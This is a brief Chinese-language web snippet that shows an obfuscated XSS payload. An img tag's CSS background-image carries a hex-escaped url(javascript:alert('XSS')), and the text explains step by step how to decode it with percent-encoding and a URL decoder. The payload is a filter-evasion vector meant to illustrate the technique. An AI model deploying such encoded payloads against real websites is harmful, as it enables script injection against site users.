<img STYLE=
"background-image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"
> 
1
 
 
代码如上
解密的方式 就是将 www.2cto.com
\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29
改成
%75%72%6c%28%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%27%58%53%53%27%29%29
然后再利用url decoder 解密就是了
结果是url(javascript:alert('XSS'))

摘自歌盈科技